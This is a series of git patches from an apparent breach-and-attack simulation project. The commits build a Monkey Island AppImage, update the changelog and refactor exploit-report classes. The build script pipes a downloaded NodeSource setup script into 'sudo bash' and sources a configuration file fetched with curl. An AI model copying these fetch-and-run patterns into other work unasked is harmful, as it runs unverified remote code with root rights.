b/deployment_scripts/appimage/build_appimage.sh index c812812427e..e611a3778d3 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -12,8 +12,6 @@ REPO_MONKEY_SRC=$REPO_MONKEY_HOME/monkey ISLAND_PATH="$INSTALL_DIR/monkey_island" MONGO_PATH="$ISLAND_PATH/bin/mongodb" ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" -INFECTION_MONKEY_DIR="$MONKEY_HOME/monkey/infection_monkey" -MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin" is_root() { return $(id -u) @@ -169,7 +167,7 @@ build_appimage() { # There is a bug or unwanted behavior in appimage-builder that causes issues # if 32-bit binaries are present in the appimage. To work around this, we: - # 1. Build the AppDir with appimage-builder and skip building the appimage + # 1. Build the AppDir with appimage-builder and skip building the appimage # 2. Add the 32-bit binaries to the AppDir # 3. Build the AppImage with appimage-builder from the already-built AppDir # @@ -183,28 +181,6 @@ build_appimage() { appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-build } -download_monkey_helper_binaries() { - # Making dir for binaries - mkdir "${MONKEY_BIN_DIR}" - - download_sambacry_binaries - download_tracerout_binaries -} - -download_sambacry_binaries() { - # Download sambacry binaries - log_message "Downloading sambacry binaries" - curl -L -o ${MONKEY_BIN_DIR}/sc_monkey_runner64.so ${SAMBACRY_64_BINARY_URL} - curl -L -o ${MONKEY_BIN_DIR}/sc_monkey_runner32.so ${SAMBACRY_32_BINARY_URL} -} - -download_tracerout_binaries() { - # Download traceroute binaries - log_message "Downloading traceroute binaries" - curl -L -o ${MONKEY_BIN_DIR}/traceroute64 ${TRACEROUTE_64_BINARY_URL} - curl -L -o ${MONKEY_BIN_DIR}/traceroute32 ${TRACEROUTE_32_BINARY_URL} -} - if is_root; then log_message "Please don't run this script as root" exit 1 @@ -226,7 +202,6 @@ install_appimage_builder load_monkey_binary_config clone_monkey_repo -download_monkey_helper_binaries copy_monkey_island_to_appdir From 412aa2ba350665ca09661ae2bdaea6e50646eb4f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 19 Feb 2021 10:07:46 -0500 Subject: [PATCH 0104/1360] build: remove unnecessary includes from monkey_island_builder.yml --- deployment_scripts/appimage/monkey_island_builder.yml | 7 ------- 1 file changed, 7 deletions(-) diff --git a/deployment_scripts/appimage/monkey_island_builder.yml b/deployment_scripts/appimage/monkey_island_builder.yml index faa3c287629..2c85c41d37c 100644 --- a/deployment_scripts/appimage/monkey_island_builder.yml +++ b/deployment_scripts/appimage/monkey_island_builder.yml @@ -22,18 +22,11 @@ AppDir: - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-security universe - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-updates main restricted - sourceline: deb [arch=amd64] http://archive.ubuntu.com/ubuntu/ bionic-updates universe - - sourceline: deb [arch=amd64] http://deb.nodesource.com/node_12.x bionic main - key_url: http://keyserver.ubuntu.com/pks/lookup?op=get&search=0x1655A0AB68576280 include: - - libc6 - bash - - curl - - libcurl4 - - coreutils - python3.7 - - nodejs runtime: env: From b0af8b1b978ab4c3f859406fd71fc5f5028324b1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Mar 2021 08:45:08 -0400 Subject: [PATCH 0105/1360] build: create appimage-comaptible server_config.json on start --- deployment_scripts/appimage/run_appimage.sh | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/deployment_scripts/appimage/run_appimage.sh b/deployment_scripts/appimage/run_appimage.sh index f33a9569908..7738301cd98 100644 --- a/deployment_scripts/appimage/run_appimage.sh +++ b/deployment_scripts/appimage/run_appimage.sh @@ -8,6 +8,13 @@ configure_default_logging() { fi } +configure_default_server() { + if [ ! -f $DOT_MONKEY/server_config.json ]; then + cp $APPDIR/usr/src/monkey_island/cc/server_config.json.standard $DOT_MONKEY/server_config.json + fi +} + + # Detecting command that calls python 3.7 python_cmd="" @@ -27,6 +34,7 @@ DB_DIR=$DOT_MONKEY/db mkdir -p $DB_DIR configure_default_logging +configure_default_server cd $APPDIR/usr/src ./monkey_island/bin/mongodb/bin/mongod --dbpath $DB_DIR & From 2c75eab4675ddf34774f55549363d1a7a645b85e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 31 Mar 2021 11:30:55 -0400 Subject: [PATCH 0106/1360] build: remove separate pyjwt `pip install` This line was a workaround for an issue resolved by ed589bd. --- deployment_scripts/appimage/build_appimage.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index e611a3778d3..ceda1dc63b8 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -121,7 +121,6 @@ install_monkey_island_python_dependencies() { sed '4d' $requirements_island | sponge $requirements_island ${python_cmd} -m pip install -r "${requirements_island}" --ignore-installed --prefix /usr --root=$APPDIR || handle_error - ${python_cmd} -m pip install pyjwt==1.7 --ignore-installed -U --prefix /usr --root=$APPDIR || handle_error } download_monkey_agent_binaries() { From 3d938f253627ee5fd6764b422481e90e97c03051 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 31 Mar 2021 11:55:21 -0400 Subject: [PATCH 0107/1360] cc: Fix come incorrect import paths --- monkey/monkey_island.py | 2 +- monkey/monkey_island/cc/arg_parser.py | 2 +- monkey/monkey_island/cc/environment/set_server_config.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 1261af888a5..88e41b6e2a4 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -6,7 +6,7 @@ import json # noqa: E402 -from monkey_island.cc.island_logger import json_setup_logging # noqa: E402 +from monkey_island.cc.server_utils.island_logger import json_setup_logging # noqa: E402 if "__main__" == __name__: diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 8716a9b4a7d..5ea12aec44c 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,6 +1,6 @@ from dataclasses import dataclass -from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH, DEFAULT_LOGGER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH, DEFAULT_LOGGER_CONFIG_PATH @dataclass diff --git a/monkey/monkey_island/cc/environment/set_server_config.py b/monkey/monkey_island/cc/environment/set_server_config.py index 2bb4336aee3..f3fbd66ff25 100644 --- a/monkey/monkey_island/cc/environment/set_server_config.py +++ b/monkey/monkey_island/cc/environment/set_server_config.py @@ -14,7 +14,7 @@ def add_monkey_dir_to_sys_path(): add_monkey_dir_to_sys_path() -from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 isort:skip +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 isort:skip SERVER_CONFIG = "server_config" BACKUP_CONFIG_FILENAME = "./server_config.backup" From 05a368e53456111402472ca4f4fdadf283d2f873 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 31 Mar 2021 12:07:20 -0400 Subject: [PATCH 0108/1360] Update CHANGELOG.md to include AppImage changes --- CHANGELOG.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bcec5d8e9a5..264e65efe3c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,3 +4,14 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] +### Added +- A runtime-configurable option to specify a data directory where runtime + configuration and other artifacts can be stored. #994 +- Scripts to build a prototype AppImage for Monkey Island. #1069 + +### Changed +- server_config.json can be selected at runtime. #963 +- Logger configuration can be selected at runtime. #971 +- `mongo_key.bin` file location can be selected at runtime. #994 +- Monkey agents are stored in the configurable data_dir when monkey is "run + from the island". #997 From 74f1dd1af5f3240d6c43d4230ca9ba02badb4bfb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 31 Mar 2021 13:51:31 -0400 Subject: [PATCH 0109/1360] Add PostgreSQL finderprinter to CHANGELOG.md --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bcec5d8e9a5..c1ad6af1260 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,3 +4,5 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] +### Added +- PostgreSQL fingerprinter. #892 From 8278e0eb6b388058fd0801505a137c916d14fcff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 1 Apr 2021 12:25:06 -0400 Subject: [PATCH 0110/1360] build: improve appimage build script quality by addressing review comments --- deployment_scripts/appimage/AppRun | 5 -- deployment_scripts/appimage/build_appimage.sh | 54 ++++++++++--------- 2 files changed, 30 insertions(+), 29 deletions(-) delete mode 100644 deployment_scripts/appimage/AppRun diff --git a/deployment_scripts/appimage/AppRun b/deployment_scripts/appimage/AppRun deleted file mode 100644 index 29d0197c458..00000000000 --- a/deployment_scripts/appimage/AppRun +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -cd ./usr/src - -bash monkey_island/linux/run.sh $HOME/.monkey_island/db diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index ceda1dc63b8..50173794e0b 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -45,13 +45,17 @@ install_pip_37() { } install_nodejs() { + NODE_SRC=https://deb.nodesource.com/setup_12.x + log_message "Installing nodejs" - node_src=https://deb.nodesource.com/setup_12.x - curl -sL $node_src | sudo -E bash - + + curl -sL $NODE_SRC | sudo -E bash - sudo apt-get install -y nodejs } install_build_prereqs() { + sudo apt update + # appimage-builder prereqs sudo apt install -y python3 python3-pip python3-setuptools patchelf desktop-file-utils libgdk-pixbuf2.0-dev fakeroot strace @@ -69,8 +73,10 @@ install_appimage_builder() { install_appimage_tool() { APP_TOOL_BIN=$HOME/bin/appimagetool + APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage + mkdir $HOME/bin - curl -L -o $APP_TOOL_BIN https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage + curl -L -o $APP_TOOL_BIN $APP_TOOL_URL chmod u+x $APP_TOOL_BIN PATH=$PATH:$HOME/bin @@ -92,7 +98,7 @@ clone_monkey_repo() { fi log_message "Cloning files from git" - branch=${2:-"local-run-data-dir"} + branch=${2:-"develop"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error chmod 774 -R "${MONKEY_HOME}" @@ -116,9 +122,9 @@ install_monkey_island_python_dependencies() { log_message "Installing island requirements" requirements_island="$ISLAND_PATH/requirements.txt" - # TODO: This is an ugly hack. PyInstaller is a build-time dependency and should - # not be installed as a runtime requirement. - sed '4d' $requirements_island | sponge $requirements_island + # TODO: This is an ugly hack. PyInstaller and VirtualEnv are build-time + # dependencies and should not be installed as a runtime requirement. + cat $requirements_island | grep -Piv "virtualenv|pyinstaller" | sponge $requirements_island ${python_cmd} -m pip install -r "${requirements_island}" --ignore-installed --prefix /usr --root=$APPDIR || handle_error } @@ -161,23 +167,23 @@ build_frontend() { } build_appimage() { - log_message "Building AppImage" - appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-appimage - - # There is a bug or unwanted behavior in appimage-builder that causes issues - # if 32-bit binaries are present in the appimage. To work around this, we: - # 1. Build the AppDir with appimage-builder and skip building the appimage - # 2. Add the 32-bit binaries to the AppDir - # 3. Build the AppImage with appimage-builder from the already-built AppDir - # - # Note that appimage-builder replaces the interpreter on the monkey agent binaries - # when building the AppDir. This is unwanted as the monkey agents may execute in - # environments where the AppImage isn't loaded. - # - # See https://github.com/AppImageCrafters/appimage-builder/issues/93 for more info. - download_monkey_agent_binaries - - appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-build + log_message "Building AppImage" + appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-appimage + + # There is a bug or unwanted behavior in appimage-builder that causes issues + # if 32-bit binaries are present in the appimage. To work around this, we: + # 1. Build the AppDir with appimage-builder and skip building the appimage + # 2. Add the 32-bit binaries to the AppDir + # 3. Build the AppImage with appimage-builder from the already-built AppDir + # + # Note that appimage-builder replaces the interpreter on the monkey agent binaries + # when building the AppDir. This is unwanted as the monkey agents may execute in + # environments where the AppImage isn't loaded. + # + # See https://github.com/AppImageCrafters/appimage-builder/issues/93 for more info. + download_monkey_agent_binaries + + appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-build } if is_root; then From 5b1296e05d33b5264b02129efea1c6c37f43012f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 1 Apr 2021 12:25:34 -0400 Subject: [PATCH 0111/1360] build: Add README with instructions for appimage builder --- deployment_scripts/appimage/README.md | 37 +++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 deployment_scripts/appimage/README.md diff --git a/deployment_scripts/appimage/README.md b/deployment_scripts/appimage/README.md new file mode 100644 index 00000000000..a17be007e52 --- /dev/null +++ b/deployment_scripts/appimage/README.md @@ -0,0 +1,37 @@ +# Monkey Island AppImage + +## About + +This directory contains the necessary artifacts for building a prototype +monkey_island AppImage using appimage-builder. + +## Building an AppImage + +1. Create a clean VM or LXC (not docker!) based on Ubuntu 18.04. +1. Update the OS with `sudo apt update && sudo apt upgrade` +1. Copy the `deployment_scripts/appimage` directory to `$HOME/` in the VM. +1. Run `sudo -v`. +1. On the VM, `cd $HOME/appimage` +1. Execute `./build_appimage.sh`. This will pull all necessary dependencies + and build the AppImage. + +NOTE: This script is intended to be run from a clean VM. You can also manually +remove build artifacts by removing the following files and directories. + +- $HOME/.monkey_island (optional) +- $HOME/monkey-appdir +- $HOME/git/monkey +- $HOME/appimage/appimage-builder-cache +- $HOME/appimage/"Monkey\ Island-\*-x86-64.Appimage" + +After removing the above files and directories, you can again execute `bash +build_appimage.sh`. + +## Running the AppImage + +The build script will produce an AppImage executible named something like +`Monkey Island-VERSION-x86-64.AppImage`. Simply execute this file and you're +off to the races. + +A new directory, `$HOME/.monkey_island` will be created to store runtime +artifacts. From bbe075bca553d46650db68e6cf04ac2bbd753376 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 1 Apr 2021 12:28:39 -0400 Subject: [PATCH 0112/1360] build: remove unused monkey_island.desktop --- deployment_scripts/appimage/monkey_island.desktop | 10 ---------- 1 file changed, 10 deletions(-) delete mode 100644 deployment_scripts/appimage/monkey_island.desktop diff --git a/deployment_scripts/appimage/monkey_island.desktop b/deployment_scripts/appimage/monkey_island.desktop deleted file mode 100644 index bfa2b895577..00000000000 --- a/deployment_scripts/appimage/monkey_island.desktop +++ /dev/null @@ -1,10 +0,0 @@ -[Desktop Entry] -Version=1.10 -Type=Application -Name=Monkey Island -Comment=FILL ME IN -TryExec=fooview -Exec=AppRun -Icon=monkey_island.svg -Terminal=true; -Category=Security; From 72a97e64654ce716b38f51ebb5aa0c3e1fa8c0e7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 2 Apr 2021 11:59:28 +0300 Subject: [PATCH 0113/1360] Small style fixes and improvements --- .../exploiter_descriptor_enum.py | 9 ++++++++- .../monkey_island/cc/services/reporting/report.py | 14 +++----------- 2 files changed, 11 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index eff1f7758ab..6378c77dbde 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -1,6 +1,6 @@ from dataclasses import dataclass from enum import Enum -from typing import Type +from typing import Type, Dict from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import \ CredExploitProcessor @@ -34,3 +34,10 @@ class ExploiterDescriptorEnum(Enum): VSFTPD = ExploiterDescriptor('VSFTPDExploiter', 'VSFTPD Backdoor Exploiter', CredExploitProcessor) DRUPAL = ExploiterDescriptor('DrupalExploiter', 'Drupal Server Exploiter', ExploitProcessor) ZEROLOGON = ExploiterDescriptor('ZerologonExploiter', 'ZeroLogon Exploiter', ZerologonExploitProcessor) + + @staticmethod + def __dict__() -> Dict[str, ExploiterDescriptor]: + descriptor_dict = {} + for descriptor in ExploiterDescriptorEnum: + descriptor_dict[descriptor.value.class_name] = descriptor + return descriptor_dict diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index a4642c694d9..a70634f0773 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -2,7 +2,7 @@ import ipaddress import itertools import logging -from typing import Dict, List +from typing import List from bson import json_util @@ -17,8 +17,7 @@ USER_LIST_PATH) from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ExploiterDescriptorEnum, \ - ExploiterDescriptor +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ExploiterDescriptorEnum from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import \ CredentialType from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import \ @@ -32,15 +31,8 @@ logger = logging.getLogger(__name__) -def build_exploiter_descriptor_dict() -> Dict[str, ExploiterDescriptor]: - descriptor_dict = {} - for descriptor in ExploiterDescriptorEnum: - descriptor_dict[descriptor.value.class_name] = descriptor - return descriptor_dict - - class ReportService: - exploiter_descriptors = build_exploiter_descriptor_dict() + exploiter_descriptors = ExploiterDescriptorEnum.__dict__ class DerivedIssueEnum: WEAK_PASSWORD = "weak_password" From de2581d3231f22550c2a318cd751a30488cde9a3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 2 Apr 2021 12:00:04 +0300 Subject: [PATCH 0114/1360] Extended exploiter report info class to have all possible values that exploit processors could add --- .../exploiter_report_info.py | 23 +++++++++++++++++++ .../processors/cred_exploit.py | 13 +++-------- .../exploit_processing/processors/exploit.py | 11 ++------- 3 files changed, 28 insertions(+), 19 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py new file mode 100644 index 00000000000..3e1cb0601cb --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py @@ -0,0 +1,23 @@ +from dataclasses import dataclass +from enum import Enum +from typing import Union, List + + +class CredentialType(Enum): + PASSWORD = 'password' + HASH = 'hash' + KEY = 'key' + + +@dataclass +class ExploiterReportInfo: + machine: str + ip_address: str + type: str + username: Union[str, None] = None + credential_type: Union[CredentialType, None] = None + ssh_key: Union[str, None] = None + password: Union[str, None] = None + port: Union[str, None] = None + paths: Union[List[str], None] = None + password_restored: Union[bool, None] = None diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index 720655b52b4..dc7a38e66a2 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -1,15 +1,8 @@ from __future__ import annotations -from enum import Enum - -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import \ - ExploiterReportInfo, ExploitProcessor - - -class CredentialType(Enum): - PASSWORD = 'password' - HASH = 'hash' - KEY = 'key' +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import \ + ExploiterReportInfo, CredentialType +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ExploitProcessor class CredExploitProcessor: diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py index 79ebb2dfbd5..d48a661d144 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -1,15 +1,8 @@ from __future__ import annotations -from dataclasses import dataclass - from monkey_island.cc.services.node import NodeService - - -@dataclass -class ExploiterReportInfo: - machine: str - ip_address: str - type: str +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import \ + ExploiterReportInfo class ExploitProcessor: From ed3d55c8aa90ff5d0896ebf2e0021f442be0fc1f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 4 Apr 2021 21:08:48 -0400 Subject: [PATCH 0115/1360] build: run `apt upgrade` in appimage script --- deployment_scripts/appimage/README.md | 1 - deployment_scripts/appimage/build_appimage.sh | 1 + 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/appimage/README.md b/deployment_scripts/appimage/README.md index a17be007e52..37321378fdb 100644 --- a/deployment_scripts/appimage/README.md +++ b/deployment_scripts/appimage/README.md @@ -8,7 +8,6 @@ monkey_island AppImage using appimage-builder. ## Building an AppImage 1. Create a clean VM or LXC (not docker!) based on Ubuntu 18.04. -1. Update the OS with `sudo apt update && sudo apt upgrade` 1. Copy the `deployment_scripts/appimage` directory to `$HOME/` in the VM. 1. Run `sudo -v`. 1. On the VM, `cd $HOME/appimage` diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 50173794e0b..3f5398d3511 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -55,6 +55,7 @@ install_nodejs() { install_build_prereqs() { sudo apt update + sudo apt upgrade # appimage-builder prereqs sudo apt install -y python3 python3-pip python3-setuptools patchelf desktop-file-utils libgdk-pixbuf2.0-dev fakeroot strace From f7cc01811c1fdcc9e15b979c2e78197f06afab45 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 4 Apr 2021 21:23:35 -0400 Subject: [PATCH 0116/1360] build: address shellcheck findings in build_appimage.sh --- deployment_scripts/appimage/build_appimage.sh | 59 ++++++++++--------- 1 file changed, 30 insertions(+), 29 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 3f5398d3511..c85f6f81c48 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -14,12 +14,13 @@ MONGO_PATH="$ISLAND_PATH/bin/mongodb" ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" is_root() { - return $(id -u) + return "$(id -u)" } has_sudo() { # 0 true, 1 false - return $(sudo -nv > /dev/null 2>&1) + sudo -nv > /dev/null 2>&1 + return $? } handle_error() { @@ -33,8 +34,8 @@ log_message() { } setup_appdir() { - rm -rf $APPDIR | true - mkdir -p $INSTALL_DIR + rm -rf "$APPDIR" || true + mkdir -p "$INSTALL_DIR" } install_pip_37() { @@ -76,9 +77,9 @@ install_appimage_tool() { APP_TOOL_BIN=$HOME/bin/appimagetool APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage - mkdir $HOME/bin - curl -L -o $APP_TOOL_BIN $APP_TOOL_URL - chmod u+x $APP_TOOL_BIN + mkdir "$HOME"/bin + curl -L -o "$APP_TOOL_BIN" "$APP_TOOL_URL" + chmod u+x "$APP_TOOL_BIN" PATH=$PATH:$HOME/bin } @@ -87,10 +88,10 @@ load_monkey_binary_config() { tmpfile=$(mktemp) log_message "downloading configuration" - curl -L -s -o $tmpfile "$config_url" + curl -L -s -o "$tmpfile" "$config_url" log_message "loading configuration" - source $tmpfile + source "$tmpfile" } clone_monkey_repo() { @@ -106,17 +107,17 @@ clone_monkey_repo() { } copy_monkey_island_to_appdir() { - cp $REPO_MONKEY_SRC/__init__.py $INSTALL_DIR - cp $REPO_MONKEY_SRC/monkey_island.py $INSTALL_DIR - cp -r $REPO_MONKEY_SRC/common $INSTALL_DIR - cp -r $REPO_MONKEY_SRC/monkey_island $INSTALL_DIR - cp ./run_appimage.sh $INSTALL_DIR/monkey_island/linux/ - cp ./island_logger_config.json $INSTALL_DIR/ - cp ./server_config.json.standard $INSTALL_DIR/monkey_island/cc/ + cp "$REPO_MONKEY_SRC"/__init__.py "$INSTALL_DIR" + cp "$REPO_MONKEY_SRC"/monkey_island.py "$INSTALL_DIR" + cp -r "$REPO_MONKEY_SRC"/common "$INSTALL_DIR" + cp -r "$REPO_MONKEY_SRC"/monkey_island "$INSTALL_DIR" + cp ./run_appimage.sh "$INSTALL_DIR"/monkey_island/linux/ + cp ./island_logger_config.json "$INSTALL_DIR"/ + cp ./server_config.json.standard "$INSTALL_DIR"/monkey_island/cc/ # TODO: This is a workaround that may be able to be removed after PR #848 is # merged. See monkey_island/cc/environment_singleton.py for more information. - cp ./server_config.json.standard $INSTALL_DIR/monkey_island/cc/server_config.json + cp ./server_config.json.standard "$INSTALL_DIR"/monkey_island/cc/server_config.json } install_monkey_island_python_dependencies() { @@ -125,18 +126,18 @@ install_monkey_island_python_dependencies() { requirements_island="$ISLAND_PATH/requirements.txt" # TODO: This is an ugly hack. PyInstaller and VirtualEnv are build-time # dependencies and should not be installed as a runtime requirement. - cat $requirements_island | grep -Piv "virtualenv|pyinstaller" | sponge $requirements_island + cat "$requirements_island" | grep -Piv "virtualenv|pyinstaller" | sponge "$requirements_island" - ${python_cmd} -m pip install -r "${requirements_island}" --ignore-installed --prefix /usr --root=$APPDIR || handle_error + ${python_cmd} -m pip install -r "${requirements_island}" --ignore-installed --prefix /usr --root="$APPDIR" || handle_error } download_monkey_agent_binaries() { log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" mkdir -p "${ISLAND_BINARIES_PATH}" || handle_error - curl -L -o ${ISLAND_BINARIES_PATH}/${LINUX_32_BINARY_NAME} ${LINUX_32_BINARY_URL} - curl -L -o ${ISLAND_BINARIES_PATH}/${LINUX_64_BINARY_NAME} ${LINUX_64_BINARY_URL} - curl -L -o ${ISLAND_BINARIES_PATH}/${WINDOWS_32_BINARY_NAME} ${WINDOWS_32_BINARY_URL} - curl -L -o ${ISLAND_BINARIES_PATH}/${WINDOWS_64_BINARY_NAME} ${WINDOWS_64_BINARY_URL} + curl -L -o "${ISLAND_BINARIES_PATH}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}" + curl -L -o "${ISLAND_BINARIES_PATH}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}" + curl -L -o "${ISLAND_BINARIES_PATH}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}" + curl -L -o "${ISLAND_BINARIES_PATH}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}" # Allow them to be executed chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" @@ -146,15 +147,15 @@ log_message "Downloading monkey agent binaries to ${ISLAND_BINARIES_PATH}" install_mongodb() { log_message "Installing MongoDB" - mkdir -p $MONGO_PATH - "${ISLAND_PATH}"/linux/install_mongo.sh ${MONGO_PATH} || handle_error + mkdir -p "$MONGO_PATH" + "${ISLAND_PATH}"/linux/install_mongo.sh "${MONGO_PATH}" || handle_error } generate_ssl_cert() { log_message "Generating certificate" chmod u+x "${ISLAND_PATH}"/linux/create_certificate.sh - "${ISLAND_PATH}"/linux/create_certificate.sh ${ISLAND_PATH}/cc + "${ISLAND_PATH}"/linux/create_certificate.sh "${ISLAND_PATH}"/cc } build_frontend() { @@ -207,7 +208,7 @@ install_appimage_builder load_monkey_binary_config -clone_monkey_repo +clone_monkey_repo "$@" copy_monkey_island_to_appdir @@ -223,8 +224,8 @@ generate_ssl_cert build_frontend -mkdir -p $APPDIR/usr/share/icons -cp $REPO_MONKEY_SRC/monkey_island/cc/ui/src/images/monkey-icon.svg $APPDIR/usr/share/icons/monkey-icon.svg +mkdir -p "$APPDIR"/usr/share/icons +cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/monkey-icon.svg build_appimage From 480f6ccc7f21d1bc086e6217b49dffe5ce3dbd81 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Apr 2021 15:46:45 +0530 Subject: [PATCH 0117/1360] Modify configuration for flake8 --- ci_scripts/flake8_linter_check.ini | 8 +++++--- ci_scripts/flake8_syntax_check.ini | 3 +-- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/ci_scripts/flake8_linter_check.ini b/ci_scripts/flake8_linter_check.ini index b8daeaf7027..008f0fa8271 100644 --- a/ci_scripts/flake8_linter_check.ini +++ b/ci_scripts/flake8_linter_check.ini @@ -1,11 +1,13 @@ [flake8] ## Warn about linter issues. -exclude = 